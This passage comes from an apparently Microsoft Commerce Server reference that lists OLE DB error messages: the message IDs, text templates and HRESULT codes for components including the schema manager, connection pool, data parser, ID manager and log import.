MSCOP_E_NULLPartitionDefInADDColumn | NULL CPartitionDef* passed to CSchemaMgr::AddColumn | 0xCA410013L
MSCOP_E_NULLColDefInADDColumn | NULL CMbColDef* passed to CSchemaMgr::AddColumn | 0xCA410014L
MSCOP_E_NULLHStmtInDeleteColumn | NULL HStmt* passed to CSchemaMgr::DeleteColumn | 0xCA410015L
MSCOP_E_NULLPartitionDefInDeleteColumn | NULL CPartitionDef* passed to CSchemaMgr::DeleteColumn | 0xCA410016L
MSCOP_E_NULLColDefInDeleteColumn | NULL CMbColDef* passed to CSchemaMgr::DeleteColumn | 0xCA410017L
MSCOP_E_CreateIndexForTableFailed | Error: Create Index failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA410018L
MSCOP_E_CreateLinkIndexCatchHR | CreateLinkIndex(), catch(hr), code: %1 | 0xCA410019L
MSCOP_E_CreateLinkIndexCatch | CreateLinkIndex(), exception caught | 0xCA41001AL
MSCOP_E_CreateIndexCatchHR | CreateIndex(), catch(hr), code: %1 | 0xCA41001BL
MSCOP_E_CreateIndexCatch | CreateIndex(), exception caught | 0xCA41001CL
MSCOP_E_CreateIDIndexCatchHR | CreateIDIndex(), catch(hr), code: %1 | 0xCA41001DL
MSCOP_E_CreateIDIndexCatch | CreateIDIndex(), exception caught | 0xCA41001EL
MSCOP_E_CreateKeyIndexCatchHR | CreateKeyIndex(), catch(hr), code: %1 | 0xCA41001FL
MSCOP_E_CreateKeyIndexCatch | CreateKeyIndex(), exception caught | 0xCA410020L
MSCOP_E_sp_recompileFailed | sp_recompile failed for Table:%1, SCODE: %2 | 0xCA410021L
MSCOP_E_CreateKeyIndexZeroMembers | CreateKeyIndex(), Key Def with zero persistent members, class: %1, key: %2 | 0xCA410022L
MSCOP_E_CreateKeyIndexTooManyMembers | CreateKeyIndex(), Key def with more than %1 persistent members, class: %2, key: %3 | 0xCA410023L
MSCOP_E_IndexNotCreated | Index not created | 0xCA410024L
MSCOP_E_CreateKeyIndexTooBig | Bytes in Key: %1 exceeds the SQL limit of %2 bytes | 0xCA410025L
MSCOP_E_NULLPartitionDefInCreateSearchIndexes | NULL PartitionDef found in CreateSearchIndexes for Class: %1 | 0xCA410026L
MSCOP_E_CreateForiegnKeyFailedForTable | Create Foreign Key Index failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA410027L
MSCOP_E_MissingPartitionDefInCreateClassView | Missing partition for the CreateClassView class: %1 | 0xCA410028L
MSCOP_E_CreateClassViewFailed | Failed creating the class view for Class: %1 | 0xCA410029L
MSCOP_E_CreateClassViewStatementFailed | Create class views for class:%1. Statement: %2, SCODE: %3 | 0xCA41002AL
MSCOP_E_CreatePartitionViewFailed | Failed creating the partition view for Partition: %1 | 0xCA41002BL
MSCOP_E_CreatePartitionViewStatementFailed | Create partition views for class:%1. Statement: %2, SCODE: %3 | 0xCA41002CL
MSCOP_E_CommitStatementForTableFailed | Commit statement failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA41002DL
MSCOP_E_CreateForignKeyStatementFailed | Create foreign keys statement failed. Statement: %1, hr: %2 | 0xCA41002EL


OLE DB Enhanced Relation Data SubSystem Error Messages

Error Messages

Message ID | Message Text | HResult
ERDS_E_ClsInfoNotInCatalog | Class information is not in the catalog for the specified local class id, class-id: %1 | 0xCA5A0001L
ERDS_E_ExceptionInSave | General exception in Save operations, context id: %1 | 0xCA5A0002L
ERDS_E_ContextQuit | Quit is signalled in the context. | 0xCA5A0003L
ERDS_E_TooManyIdxIDs | Too many index ids while creating index map. | 0xCA5A0004L
ERDS_E_ClsInfoNotInContext | Class information is not in the class map of current context, class: %1, context-id: %2 | 0xCA5A0005L
ERDS_E_NoParentChildInCatalog | No parent child information for this class id pair, parent: %1, child: %2. | 0xCA5A0006L
ERDS_E_ParentChildNoKeyMems | This parent and child relation does not have any key members. | 0xCA5A0007L
ERDS_E_DBSearchJobBufEmpty | The database search job buffer is empty. | 0xCA5A0008L
ERDS_E_DBInsertJobBufEmpty | The database insert job buffer is empty. | 0xCA5A0009L
ERDS_E_FailedInIdxFromPathJob | There is a general failure in index from path job execution. | 0xCA5A000AL
ERDS_E_InvalidMemID | Invalid member id in initializing key member relation mapping. | 0xCA5A000BL
ERDS_E_InvalidRefSlotID | Invalid reference slot id in initializing key member relation mapping. | 0xCA5A000CL
ERDS_E_MismatchedNewEntries | There is a mismatch in number of new entries in this index map, class: %1, #entries: %2, #found: %3, cur entry: %4. | 0xCA5A000DL
ERDS_E_FailedInGenerateSequences | There is a failure in generating job sequences. | 0xCA5A000EL
ERDS_E_JobNotInMap | There is no job in the job map for given job number, parent id: %1, child id: %2 | 0xCA5A000FL
ERDS_E_MismatchMemRef | Mismatch between reference member and unique data slot information, unique slot id: %1, class: %2, member: %3 | 0xCA5A0010L
ERDS_E_InvalidMemLocalID | The local mem id in slots with unique data initialization. | 0xCA5A0011L
ERDS_E_NumOfPKeyMemsMismatch | There is a mismatch in number of key members in search format strings initialization. | 0xCA5A0012L


OLE DB Create Class Factory Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CClassFactoryCreateBinderObjectOEM | Failed to create the binder object. Out of memory | 0xCA118001L
MSCOP_E_CClassFactoryBinderObjectInitializationFailure | Failed to initialize the binder object. (%1) | 0xCA118002L
MSCOP_E_CClassFactoryDataSourceObjectEOM | Failed to create the data source object. Out of memory | 0xCA118003L
MSCOP_E_CClassFactoryDataSourceObjectInitializationFailure | Failed to initialize the data source object. (%1) | 0xCA118004L


Aggregation Layer CS SQL Provider Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CSDWRowsetNULLDSORowParm | A NULL DSORow pointer passed to CS SQL Provider Rowset function. | 0xCA048005L
MSCOP_E_CSDWRowsetNULLDSOQryParm | A NULL DSOQuery pointer passed to CS SQL Provider Rowset function. | 0xCA048006L
MSCOP_E_CSDWBadCRowPointerInDSORow | Failed to get CRow pointer from DSORow. SCODE: %1 | 0xCA048007L
MSCOP_E_CSDWRowsetNULLMemIDArray | NULL Member ID array passed to CS SQL Provider function. | 0xCA048008L
MSCOP_E_CSDWRowsetNotEnoughMemoryForBCInfos | Not enough memory to allocate BCInfo structures. | 0xCA048009L
MSCOP_E_CSDWRowsetNULLMemDefInArray | NULL MemDef at index %1 in _pAllMembersByID array in Rowset. Class: %2 | 0xCA04800AL
MSCOP_E_CSDWRowsetNULLColDefInMemDef | NULL ColDef for MemDef: %1, Class: %2 | 0xCA04800BL
MSCOP_E_CSDWRowsetBindingColumns | Error binding Columns for Class: %1, SCODE: %2 | 0xCA04800CL
MSCOP_E_CSDWRowsetSetDBCOLUMNACCESSFailed | SetDBCOLUMNACCESS failed SCODE: %1 (name=%2, coltype=%3, memid=%4) | 0xCA04800DL
MSCOP_E_CSDWRowsetFetchFailed | Fetch from DB failed for Class: %1, SCODE: %2 | 0xCA04800EL
MSCOP_E_CSDWSessionFetchClsDefFailed | Failed while extracting ClsDef from PDSOQRY. SCODE: %1 | 0xCA04800FL
MSCOP_E_CSDWSessionFetchCommandTreeFailed | Failed while extracting Command Tree from PDSOQRY. SCODE: %1 | 0xCA048010L
MSCOP_E_CSDWSessionFetchOrderPropsFailed | Failed while extracting ORDER BY properties from PDSOQRY. SCODE: %1 | 0xCA048011L
MSCOP_E_CSDWSessionFetchPropListFailed | Failed while extracting Property List from PDSOQRY. SCODE: %1 | 0xCA048012L
MSCOP_E_CSDWSessionNotEnoughMemoryForPDSOROWSET | Not enough memory to allocate a PDSOROWSET for results. | 0xCA048013L
MSCOP_E_CSDWSessionNotEnoughMemoryForKeyStructures | Not enough memory to allocate Key structures Class: %1 | 0xCA048014L
MSCOP_E_CSDWSessionBuildKeyFailed | Unable to build Key from CRow data. SCODE: %1 | 0xCA048015L
MSCOP_W_CSDWRowsetDestroyingRowsetWithRefs | Destroying Rowset that has not been released. Ref count = %1. | 0x8A068016L
MSCOP_E_CSDWSessionClassNotFound | Class not found. Class name = %1. | 0xCA048017L
MSCOP_E_CSDWSessionNULLDSORowParm | A NULL DSORow pointer passed to CS SQL Provider Session function. | 0xCA048018L
MSCOP_E_CSDWSessionNULLDSOQryParm | A NULL DSOQuery pointer passed to CS SQL Provider Session function. | 0xCA048019L
MSCOP_E_CSDWSessionNULLMemDefInArray | NULL MemDef at index %1 in _pAllMembersByID array in Session. Class: %2 | 0xCA04801AL
MSCOP_E_CSDWSessionFetchObjectIDFailed | FetchObject failed in Session. Class: %1 | 0xCA04801BL
MSCOP_E_CSDWSessionGetPCIFailed | GetParentCreationInfo failed in Session. Class: %1 | 0xCA04801CL
MSCOP_E_CSDWSessionFetchClassInfoFailed | FetchClassInfo failed in Session. SCODE: %1 | 0xCA04801DL
MSCOP_E_CSDWSessionBadParentClsDef | GetParentClsDef failed in Session. SCODE: %1 | 0xCA04801EL
MSCOP_E_CSDWRowsetSetSValByMemIDFailed | SetSValByMemID failed in Session. SCODE: %1 | 0xCA04801FL
MSCOP_E_CSDWRowsetSetKeyPropertySELECT | Key property from SELECT in CCSDWRowset::GetNextRows | 0xCA048020L
MSCOP_E_CSDWRowsetSetInvalidPropertySet | Invalid property set in CCSDWRowset::GetNextRows | 0xCA048021L
MSCOP_E_CSDWRowsetSetNULLChildMemDef | Null Child MemDef found with Column name:%1 | 0xCA048022L
MSCOP_E_CSDWRowsetSetGetParentMemDefFailure | Failed to get Parent MemDef from Child Member name: %1 | 0xCA048023L


OLE DB DbConnectionPool Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_OutOfMemoryInDbConnPool | Unable to allocate memory in Connection Pool. | 0xCA478001L
MSCOP_E_ConnPoolGetConnectionPoolFailure | Failed getting DB Connection Pool. SCODE: %1 | 0xCA478002L
MSCOP_E_ConnPoolConnectFailed | Connection allocation failed. | 0xCA478003L
MSCOP_E_ConnPoolNoMoreDbConns | Connection pool ran out of connections. | 0xCA478004L
MSCOP_E_ConnPoolAllocFailed | Connection pool's alloc connection failed, index = %1, conn str: %2 | 0xCA478005L
MSCOP_E_ConnPoolConnNotIdle | Connection on idle queue not idle, index = %1, status = %2 | 0xCA478006L
MSCOP_E_ConnPoolStmtInitFailed | Connection pool, statement initialization failed, index = %1 | 0xCA478007L
MSCOP_E_ConnPoolFreeStmtInvalidUserId | Connection pool free statement called with invalid user id. | 0xCA478008L
MSCOP_W_RollbackInFree | Connection free called in active transaction, rolling back the current transaction. | 0xCA498009L
MSCOP_InitializeGlobalConnectionPoolInfo | DbConnPool(%1/%2) Init, max conn: %3, idle time: %4 | 0x4A48800AL
MSCOP_E_DbConnPoolInitFailed | Connection pool initialization failed. | 0xCA47800BL
MSCOP_E_GetConnPoolFailed | Unable to get Global Connection pool. | 0xCA47800CL
MSCOP_W_ClearingHStmt | HStmt not cleared from previous command. - Clearing results. | 0x8A49800DL
MSCOP_E_ConnectFailure | Connect failed. fastload: %1, Server: %2, DB: %3, UserID:%4, hr: %5 | 0xCA47800DL
MSCOP_E_ReleaseICommandSemaphoreFailed | Error releasing ICommand semaphore. SCODE: %1 | 0xCA47800EL
MSCOP_E_ReleaseIRowsetFastLoadSemaphoreFailed | Error releasing IRowsetFastLoad semaphore. SCODE: %1 | 0xCA47800FL
MSCOP_E_CreateICommandSemaphoreFailed | Failed to create ICommand Connection semaphore. SCODE: %1 | 0xCA478010L
MSCOP_E_CreateIRowsetFastLoadSemaphoreFailed | Failed to create IRowsetFastLoad Connection semaphore. SCODE: %1 | 0xCA478011L
MSCOP_E_DefaultConnectionStringLookupFailed | Default connection string lookup failed. | 0xCA478012L
MSCOP_E_NULLDBProps | NULL DB Properties found. | 0xCA478013L
MSCOP_E_ServerLookupFailed | Failed to find Server in map. Server: %1 | 0xCA478014L
MSCOP_E_DBConnectionPoolPropertyObjectOOM | Not enough memory to allocate new DB Connection pool property object. | 0xCA478015L
MSCOP_E_ServerConnectionPoolPropertyObjectOOM | Not enough memory to allocate new Server Connection pool. | 0xCA478016L
MSCOP_E_ServerConnectionPoolInitializationFailed | Unable to initialize Server connection pool. Server: %1, SCODE: %2 | 0xCA478017L
MSCOP_E_DumpIErrorInfo | HRESULT: %1, Minor Code: %2, Source: %3, Description %4 | 0xCA478018L
MSCOP_E_DumpSQLError | SQL Error: %1, Description: %2 | 0xCA478019L
MSCOP_E_DumpSQLErrorState | Error state: %1, Severity: %2, Server: %3, Line#: %4, msg: %5 | 0xCA47801AL
MSCOP_E_DumpDefaultMessage | HRESULT: %1, Description: %2 | 0xCA47801BL
MSCOP_E_NULLPropertiesInHDbcConnect | NULL Properties pointer in HDbc::Connect | 0xCA47801CL
MSCOP_E_SQLServerConnectionFailed | Lost connection to SQL Server | 0xCA47801DL
MSCOP_E_SetColOrdinalsMissingColumn | SetColOrdinals(), missing col : %1 | 0xCA47801EL
MSCOP_E_InitDBIDsFromColNamesMismatch | InitDBIDsFromColNames(), mismatched named column count, cnt: %1, col: %2 | 0xCA47801FL
MSCOP_E_GetIOpenRowsetFailedForTable | Can't get IOpenRowset in table: %1 | 0xCA478020L
MSCOP_E_ICommandConnectionOOM | Not enough memory to allocate %1 ICommand connection info structures. | 0xCA478021L
MSCOP_E_IRowsetFastLoadConnectionOOM | Not enough memory to allocate %1 IRowsetFastLoad connection info structures. | 0xCA478022L
MSCOP_E_NoIRowsetFastLoadConnections | Requested an IRowsetFastLoad connection, but this pool was not initialized with any. SCODE: %1 | 0xCA478023L
MSCOP_E_NoICommandConnections | Requested an ICommand connection, but this pool was not initialized with any. SCODE: %1 | 0xCA478024L


OLE DB Utility Error Messages

This section contains:

  • Asynchronous Job Network Error Messages for the OLE DB
  • Thread Pool Error Messages for the OLE DB
  • Memory Utility Error Messages for the OLE DB
  • Time Zone Error Messages for the OLE DB
  • Performance Counter Error Messages for the OLE DB
  • Class Handler and Helper Error Messages for the OLE DB
  • Set Helper Error Messages for the OLE DB
  • String Parser Error Messages for the OLE DB
  • Unique Data Error Messages for the OLE DB
  • Data Parser Error Messages for the OLE DB
  • ID Manager Error Messages for the OLE DB
  • Import Application Error Messages for the OLE DB
  • Import Error Messages for the OLE DB


Asynchronous Job Network Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_FmtBufFull | The format buffer is full. | 0xCA441F40L
ERDS_E_NoIncrWhenJobScheduled | Job is already scheduled, but some other job is trying to make this as a dependent. | 0xCA441F41L
ERDS_E_JobNotInit | Job is not initialized. | 0xCA441F42L
ERDS_E_JobExecQueueNotInit | Job execution queue is not initialized. | 0xCA441F43L
ERDS_E_FailedInDoJobOfExecQueue | There is a general failure when executing this job. | 0xCA441F44L
ERDS_E_JobMgrInShutDown | Job manager is in shutdown state. | 0xCA441F45L
ERDS_E_ExceptionInDoJobStart | Exception in DoJob, started: %1, tid: %2, desc: %3 | 0xCA441F46L
ERDS_E_ExceptionInDoJobEnd | Exception in DoJob, in job end: %1, tid: %2, desc: %3 | 0xCA441F47L


Thread Pool Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_ThrdPoolNotInit | Thread pool is not initialized or failed to initialized. | 0xCA510001L
ERDS_E_ThrdPoolErrorRetrievingCurrentAccessToken | Error retrieving current access token (%1) | 0xCA510002L
ERDS_E_ThrdPoolExceptionInAsyncFunc | DoAsyncFuncCall(), exception in async func, seqID: %01, h: %3 | 0xCA510003L


Memory Utility Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_OpenStreamOnURLFailed | Failed to open stream on URL %1, SCODE: %2 | 0xCA441F48L


Time Zone Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_TimeZoneFailedGettingSourceTimezone | Failed getting source timezone %1 | 0xCA441F49L
ERDS_E_TimeZoneFailedGettingDestinationTimezone | Failed getting destination timezone %1 | 0xCA441F4AL
ERDS_E_TimeZoneBindError | Error binding to Timezone Info, hr: %1 | 0xCA441F4BL
ERDS_E_TimeZoneFailedRetrievingTimezone | Failed retrieving the timezone %1: %2 | 0xCA441F4CL


Performance Counter Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_PerfCounterInitialization | PerfCntrMgr::PerfCntrMgr(), initializing, ref count = %1 | 0xCA441F4DL
ERDS_E_PerfCounterObjectCreationFailed | Error: PerfCntrMgr(), Failed to create perfmon counters object. Error code: %1 | 0xCA441F4EL
ERDS_E_PerfCounterObjectInitializationFailed | Error: PerfCntrMgr(), Failed to initialize perfmon counters object. Error code: %1 | 0xCA441F4FL
ERDS_E_PerfCounterObjectDestructor | PerfCntrMgr::~PerfCntrMgr(), ref count = %1 | 0xCA441F50L


Class Handler and Helper Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_CProvClsHandlerGetMemInfoFailure | CProvClsHandler::OnCreate(), error from GetMemInfoByColName(), hr: %1, cls: %2, mem: %3 | 0xCA441F51L
ERDS_E_CProvClsHandlerHandlerInfoMismatch | CProvClsHandler::OnInst(), handler info mismatch parser class def, cls:%1, line#: %2 | 0xCA441F52L
ERDS_E_CProvClsHandlerInvalidDataIgnored | CProvClsHandler::OnInst(), ignoring invalid data in an insta cls def, class mem count (%1) != instance val count (%2), cls:%3, line#: %4 | 0xCA441F53L
ERDS_E_CProvClsHandlerErrorSettingValues | CProvClsHandler::OnInst(), error in setting values, cls:%1, line#: %2, hr: %3 | 0xCA441F54L
ERDS_E_CProvClsHandlerSessionBindError | CProvClsHandlerFactory::Init(), Error Binding to session, hr: %1 | 0xCA441F55L
ERDS_E_CProvSessionCreateBinderObjectFailure | CProvSession::Connect, error creating Binder object, hr: %1 | 0xCA441F56L
ERDS_E_CProvSessionBindFailure | CProvSession::Connect(), error Binding to session, hr: %1 | 0xCA441F57L
ERDS_E_CProvClsDefNewInstanceCreationFailure | CProvClsDef::NewInst(), failed to create a new instance. URL: %1, hr: %2 | 0xCA441F58L


Set Helper Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_SetWStringCannotConvertType | SetWString(), cannot convert DBTYPE %1 to WString | 0xCA441F59L
ERDS_E_SetFILETIMECannotConvertType | SetFILETIME(), cannot convert DBTYPE %1 to FILETIME | 0xCA441F5AL
ERDS_E_ConvertStringToERDSVariantOutOfUSHORTRange | Error - value out of range for a ushort %1 | 0xCA441F5BL
ERDS_E_ConvertStringToERDSVariantOutOfULONGRange | Error - value out of range for a ulong %1 | 0xCA441F5CL
ERDS_E_ConvertStringToERDSVariantConversionFailed | Could not convert EType %1 from string %2 | 0xCA441F5DL


String Parser Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_CStrParserErrorConvertingTimeStampToFILETIME | CStrParser::ParseDateTime(), Error converting time stamp to filetime (%1) | 0xCA441F5EL
ERDS_E_CStrParserUnknownTimeDiscriminant | Could not parse time correctly - %1 unknown time discriminant | 0xCA441F5FL
ERDS_E_CStrParserDateConvertFailure | Error: Could not convert date/time values. SCODE: %1 | 0xCA441F60L
ERDS_E_CStrParserDateParsingError | Error parsing date (%1) | 0xCA441F61L
ERDS_E_CStrParserDateParsingErrorExpectingEndBrace | Error parsing time - Expecting end brace | 0xCA441F62L


Unique Data Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_UniqueDataMapNotInit | Unique data value map is not initialized, type : %1 | 0xCA570001L
ERDS_E_UniqueDataTypeMismatch | Unique data type mismatch in data to id conversion, unique data type: %1, given type : %2 | 0xCA570002L
ERDS_E_WrongSchemaVer | Server is using different version of the catalog, server version: %1, given version: %2 | 0xCA570003L
ERDS_E_CUniqueDataLoadFromDBNotImplemented | CUniqueData::LoadFromDB() unimplemented function called, type: %1 | 0xCA570004L
ERDS_E_CUniqueDataGetUniqueDataTypeNotImplemented | GetUniqueData(), type: %1, not implemented, hr = %2 | 0xCA570005L


Data Parser Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_TknIsNull | Parsing NULL value. | 0xCA4A0001L
ERDS_E_TknNotFound | While parsing data, required token is not found, line: %1, pos: %2, file: %3 | 0xCA4A0002L
ERDS_E_ExpectingDateTime | While parsing data, date/time token is expected, line: %1, pos: %2, file: %3 | 0xCA4A0003L
ERDS_E_ExpectingDate | While parsing data, date token is expected, line: %1, pos: %2, file: %3 | 0xCA4A0004L
ERDS_E_ExpectingTime | While parsing data, time token is expected, line: %1, pos: %2, file: %3 | 0xCA441F63L
ERDS_E_ExpectingGUID | While parsing data, GUID token is expected, line: %1, pos: %2, file: %3 | 0xCA4A0005L
ERDS_E_ExpectingClsDefTag | Expecting ClsDef after /, line: %1, pos: %2, file: %3 | 0xCA4A0006L
ERDS_E_UnknownTagInClsDef | Unknown tag in ClsDef, line: %1, pos: %2, file: %3 | 0xCA4A0007L
ERDS_E_ExpectingCommaInInst | Expecting comma after a value in instance definition, line: %1, pos: %2, file: %3 | 0xCA4A0008L
ERDS_E_UnknownType | An unknown type specified for member definition, line: %1, pos: %2, file: %3 | 0xCA4A0009L
ERDS_E_ExpectingMemName | Expecting a member name, line: %1, pos: %2, file: %3 | 0xCA4A000AL
ERDS_E_ExpectedTypeName | Expecting a type name, line: %1, pos: %2, file: %3 | 0xCA4A000BL
ERDS_E_InstTooBig | Instance is too big to fit in the statically allocated size, line: %1, pos: %2, file: %3 | 0xCA4A000CL
ERDS_E_NonSupportedMemTkn | Internal inconsistency error, instance parser encountered non supported token type in member, line: %1, pos: %2, file: %3 | 0xCA4A000DL
ERDS_E_OpenFileError | Data parser unable to open the given file, line: %1, pos: %2, file: %3 | 0xCA4A000EL
ERDS_E_DataParserInitError | Initialization of data parser from IStream failed, line: %1, pos: %2, file: %3 | 0xCA4A000FL
ERDS_E_UnknownTag | Unknown tag, only ClsDef and Include are supported at highest level, line: %1, pos: %2, file: %3 | 0xCA4A0010L
ERDS_E_ExpectingNum | Expecting a number, line: %1, pos: %2, file: %3 | 0xCA4A0011L
ERDS_E_ExepectingBeginTag | Expecting a being tag '<', line: %1, pos: %2, file: %3 | 0xCA4A0012L
ERDS_E_ExpectingEndTag | Expecting an end tag '>', line: %1, pos: %2, file: %3 | 0xCA4A0013L
ERDS_E_ExpectingSymbol | Expecting a symbol, line: %1, pos: %2, file: %3 | 0xCA4A0014L
ERDS_E_ExpectingSymbolOrStr | Expecting a symbol or a string, line: %1, pos: %2, file: %3 | 0xCA4A0015L
ERDS_E_DataFileReadError | Read error while reading data from data file, line: %1, pos: %2, file: %3 | 0xCA4A0016L
ERDS_E_TokenBufFull | Token buffer is full, line: %1, pos: %2, file: %3 | 0xCA4A0017L
ERDS_E_ExpectingIncFileName | Expecting file name in include tag, line: %1, pos: %2, file: %3 | 0xCA4A0018L
ERDS_E_ExpectingInstTagSymbol | Expecting a tag name in the class instance tag definition, line: %1, pos: %2, file: %3 | 0xCA4A0019L
ERDS_E_ExpectingClsName | Expecting a class name in the class definition, line: %1, pos: %2, file: %3 | 0xCA4A001AL
ERDS_E_ExpectingAlphabet | Expecting a alphabetic character at beginning of this symbol, line: %1, pos: %2, file: %3 | 0xCA4A001BL
ERDS_E_TooBigNum | There are too many digits in this number, line: %1, pos: %2, file: %3 | 0xCA4A001CL
ERDS_E_ExpectingComma | Expecting a comma, line: %1, pos: %2, file: %3 | 0xCA4A001DL
ERDS_E_ExpectingLSQBracket | Error -- expected left SQL bracket. | 0xCA4A001EL
ERDS_E_ExpectingRSQBracket | Error -- expected right SQL bracket. | 0xCA4A001FL
ERDS_S_StopSignaled | Async job is running and stop is signaled. | 0xCA4A0020L
ERDS_E_DataParserFileFormatTag | Error parsing the FileFormatTag: hr: %1 | 0xCA4A0021L
ERDS_E_DataParserExpectingEqual | Error in parsing an instance, expecting '=', hr: %1. | 0xCA4A0022L
ERDS_E_DataParserExpectingSymbolOrString | Error in parsing for symbol or string, hr: %1 | 0xCA4A0023L
ERDS_E_DataParserExpectingBoolean | Error in parsing for boolean, hr: %1 | 0xCA4A0024L
ERDS_E_DataParserExpectingEqualForMember | Error in parsing an instance, expecting '=' after Member name -- line: %1, pos: %2, mem: %3 file: %4 | 0xCA4A0025L
ERDS_E_DataParserUnknownMemberName | Error in parsing an instance, unknown Member name -- line: %1, pos: %2, mem: %3 file: %4 | 0xCA4A0026L
ERDS_E_DataParserErrorInInstance | Error in parsing an instance -- line: %1, pos: %2, file: %3 | 0xCA4A0027L
ERDS_E_DataParserErrorInMemberInstance | Error in parsing an instance -- line: %1, pos: %2, mem: %3 file: %4 | 0xCA4A0028L
ERDS_E_CDataParserFileOpenError | CDataParser::InitFromFile(), Can't open file: %1 | 0xCA4A0029L
ERDS_E_CDataParserInitFailed | Init for CDataParser failed, hr: %1 | 0xCA4A002AL
ERDS_E_CDataParserFileReadFailed | Can't read in the next buffer in file. | 0xCA4A002BL
ERDS_E_CDataParserBufferConvertToUnicodeFailed | Failed converting buffer into unicode. | 0xCA4A002CL
ERDS_E_DataParserNameValueActivationTag | Error in parsing name value pair activation tag -- line: %1, pos: %2, file: %3 | 0xCA4A002DL
ERDS_E_DataParserDataFormatFileInitializationFailed | Failed initializing the data format file: %1, hr: %2 | 0xCA4A002EL
ERDS_E_DataParserDataUnsupportedDataType | ResolveDataType(), unsupported data type, type name: %1 | 0xCA4A002FL
ERDS_E_DataParserInvalidTerminator | ResolveTerminator(), empty terminator string, invalid terminator | 0xCA4A0030L
ERDS_E_NumberOutOfRange | Number %1, out of range for this type. | 0xCA4A0031L


ID Manager Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_IDCounterTblCreation | Cannot create ID counter table: %1 | 0xCA540001L
ERDS_S_IDCounterExists | Counter already exists in the database, no counter created: %1 | 0x4A550001L
ERDS_E_IDCounterDoesntExist | Counter %25s doesnt exist in the table %1 | 0xCA540002L
ERDS_E_ErrorInitCounter | Error initializing CIdCounter. Counter name: %1 | 0xCA540003L
ERDS_E_IdsExhausted | Ids exceeded the id range in the database, for the counter: %1 | 0xCA540004L
ERDS_E_IDMgrInvalidHStmtInInit | Error: Invalid HStmt passed to ID Manager Init. SCODE: %1 | 0xCA540005L
ERDS_E_IDMgrInvalidHStmtInCreateCounter | Error: Invalid HStmt passed to CreateCounter. SCODE: %1 | 0xCA540006L
ERDS_E_IDMgrExecFailedInCreateCounter | Exec failed in CreateCounter(), hr: %1 | 0xCA540007L
ERDS_E_IDMgrBindFailedInCreateCounter | Bind failed in CreateCounter(), hr: %1 | 0xCA540008L
ERDS_E_IDMgrMapSetAtFailedInCreateCounter | Map Set Error in CreateCounter(), hr: %1 | 0xCA540009L
ERDS_E_IDMgrExecFailedInNewIds | Exec failed in GetNewIds(), hr: %1 | 0xCA54000AL
ERDS_E_IDMgrBindFailedInNewIds | Bind failed in GetNewIds(), hr: %1 | 0xCA54000BL
ERDS_E_IDMgrFetchFailedInNewIds | Fetch failed in GetNewIds(), hr: %1 | 0xCA54000CL


Import Application Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
ERDS_E_ImpAppTooManyIncludes | Too many nested includes, depth: %1, file: %2 | 0xCA441F64L
ERDS_E_ImpAppBadIncludeFilePath | Unable compose full path for include file, cur path: %1, new file:%2 | 0xCA441F65L
ERDS_E_ImpAppProcessingError | Failed processing file: %1, line: %2, pos: %3, hr: %4 | 0xCA441F66L
ERDS_E_ImpAppSemaphoreCreateFailure | CMultiConnApp::Init(), unable to create semaphore | 0xCA441F67L
ERDS_E_ImpAppSemaphoreWaitFailure | CMultiConnApp::DoProcess(), wait for semaphore failed, result of wait: %1 | 0xCA441F68L


Import Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
RATE_STRING | Rate: %1 | 0xCB008110L
NO_FILE_ERROR | The following log data source doesn't have any log files associated with it: %1 | 0xCB008111L
NO_FTP_FILE_ERROR | The following log data source doesn't have any ftp log files associated with it: %1 | 0xCB008112L
OPEN_ALL_FILE_ERROR | Unable to open any log files associated with the following log data source : %1 | 0xCB008113L
OPEN_ALL_FTP_FILE_ERROR | Unable to open any remote files associated with the following ftp log data source: %1 | 0xCB008114L
FILE_SIZE_ERROR | Unable to obtain the size of the following log file: %1 | 0xCB008115L
FTP_FILE_SIZE_ERROR | Unable to obtain the size of the following remote log file: %1 | 0xCB008116L
TOTAL_SIZE_STRING | Total size: %1 | 0xCB008117L
INPUT_SOURCE_STRING | Log data source: %1 | 0x8B008118L
OVERLAP_ABORT_STATUS | Overlap detected. User chose to abort this import job | 0xCB008119L
OVERLAP_SKIP_STATUS | Overlap detected. User chose to skip to next log file %1 | 0xCB00811AL
NETWORK_ERROR | Unable to connect to the network %1 | 0xCB00811BL
FTP_SESSION_ERROR | Unable to build a FTP session %1 | 0xCB00811CL
CONNECT_ALL_INPUT_SOURCE_ERROR | Unable to open any log files in any log data source | 0xCB00811DL
OUT_OF_MEMORY_ERROR | Out of Memory | 0xCB00811EL
NO_INPUT_SOURCE_ERROR | There is no log data source specified %1 | 0xCB00811FL
LOCALE_INFO_WARNING | Error when getting locale information. Using United States default locale instead %1 | 0xCB008120L
ADD_SERVER_FAILED | Error writing to database while adding server : %1 | 0xCB008121L
EDIT_SERVER_FAILED | Error writing to database while editing server : %1 | 0xCB008122L
ADD_SITE_FAILED | Error writing to database while adding site : %1 | 0xCB008123L
EDIT_SITE_FAILED | Error writing to database while editing site : %1 | 0xCB008124L
LINK_SVRSITE_FAILED | Error writing to database while linking server %1 and site %2 | 0xCB008125L
UNLINK_SVRSITE_FAILED | Error writing to database while unlinking server %1 and site %2 | 0xCB008126L
ADD_INP_FAILED | Error writing to database while adding log data source : %1 | 0xCB008127L
UPD_INP_FAILED | Error writing to database while updating log data source : %1 | 0xCB008128L
LINK_INPSVR_FAILED | Error writing to database while linking log data source %1 and server %2 | 0xCB008129L
